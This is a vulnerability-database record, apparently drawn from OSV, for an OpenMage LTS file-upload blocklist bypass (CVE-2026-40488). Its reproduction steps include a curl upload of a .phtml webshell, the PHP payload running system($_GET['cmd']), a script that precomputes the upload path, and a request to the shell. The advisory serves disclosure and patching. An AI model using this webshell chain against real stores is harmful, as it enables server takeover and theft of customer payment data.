{"id":"CVE-2026-40488","aliases":["GHSA-3j5q-7q7h-2hhv"],"url":"https://o3.security/vulnerability/CVE-2026-40488","summary":"OpenMage LTS has Customer File Upload Extension Blocklist Bypass that Leads to Remote Code Execution","details":"The product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.\n\n## Affected Version\n\n- **Project:** OpenMage/magento-lts\n- **Vulnerable File:** `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php`\n- **Vulnerable Lines:** 230-237 (`_validateUploadedFile()`)\n- **Configuration:** `app/code/core/Mage/Catalog/etc/config.xml:824`\n\n## Root Cause\n\nThe file upload handler uses `Zend_File_Transfer_Adapter_Http` directly with `ExcludeExtension` validator, referencing only:\n\n```xml\n<!-- Catalog/etc/config.xml:824 -->\n<forbidden_extensions>php,exe</forbidden_extensions>\n```\n\nThis misses the comprehensive `protected_extensions` blocklist defined elsewhere:\n\n```xml\n<!-- Core/etc/config.xml:449-478 -->\nphp, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, \nhtm, html, pht, phtml, shtml\n```\n\n## Vulnerable Code\n\n```php\n// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237\n$_allowed = $this->_parseExtensionsString($option->getFileExtension());\nif ($_allowed !== null) {\n    $upload->addValidator('Extension', false, $_allowed);\n} else {\n    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));\n    if ($_forbidden !== null) {\n        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!\n    }\n}\n```\n\n## Steps to Reproduce\n\n### 1. Environment Setup\n\nTarget: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)\n\n### 2. Exploitation\n\n\n```bash\n# Upload .phtml (bypasses blocklist)\ncurl -X POST \"https://target.com/vulnerable_upload.php\" \\\n  -F \"file=@shell.phtml;filename=shell.phtml\"\n```\n\n**Result:** \n<img width=\"1563\" height=\"733\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691\" />\n\n### 3. Code Execution\n\nOpenMage derives the uploaded file's storage path deterministically from two values the attacker\nalready controls:\n\n**Subdirectory** — `getDispretionPath($filename)` takes the **first two characters** of the\nuploaded filename and uses them as nested directory names:\n\n```\nfilename = \"shell.phtml\"  →  s/ h/  →  media/custom_options/quote/s/h/\n```\n\n**Filename** — `md5(file_get_contents($tmp_name))` is computed over the **raw bytes of the\nuploaded payload** (`File.php:245`):\n\n```php\n// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245\n$fileHash = md5(file_get_contents($fileInfo['tmp_name']));\n$filePath  = $dispersion . DS . $fileHash . '.' . $extension;\n```\n\nBecause the attacker writes the webshell themselves, both the filename prefix and file contents are\nknown **before the upload request is sent**. The full URL can be pre-computed:\n\n```bash\nSHELL_CONTENT='<?php echo exec(\"id\"); system($_GET[\"cmd\"]??\"id\"); ?>\\n'\nHASH=$(echo -n \"$SHELL_CONTENT\" | md5sum | cut -d' ' -f1)\nPREFIX=$(echo \"shell\" | cut -c1-2 | sed 's/./&\\//g' | tr -d '\\n' | sed 's/\\/$//') # → s/h\n\n```bash\ncurl \"https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml\"\n```\n\n**Result:** RCE Confirmed\n\n<img width=\"1559\" height=\"827\" alt=\"image\" src=\"https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260\" />\n\n## Affected Deployments\n\n| Configuration | Status |\n|---------------|--------|\n| Apache + mod_php (with `php_flag engine 0`) | SAFE |\n| Apache + PHP-FPM | **VULNERABLE** |\n| Nginx (reference hardened config) | SAFE |\n| Nginx (generic config with .phtml→FPM) | **VULNERABLE** |\n\n## Impact\n\n1. **Remote Code Execution:** Full server compromise through webshell upload\n2. **Data Exfiltration:** Access to database credentials, customer PII, payment data\n3. **Lateral Movement:** Pivot to internal infrastructure\n4. **Supply Chain:** Inject malicious code into served content","published":"2026-04-20T16:23:07.429Z","modified":"2026-08-12T03:51:08.699958078Z","cvss":null,"epss":{"score":0.00691,"percentile":0.51196,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"openmage/magento-lts","fixedVersion":"20.17.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40488.json"},{"type":"ADVISORY","url":"https://github.com/OpenMage/magento-lts/security/advisories/GHSA-3j5q-7q7h-2hhv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40488"},{"type":"PACKAGE","url":"https://github.com/OpenMage/magento-lts"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:08.699958078Z"}}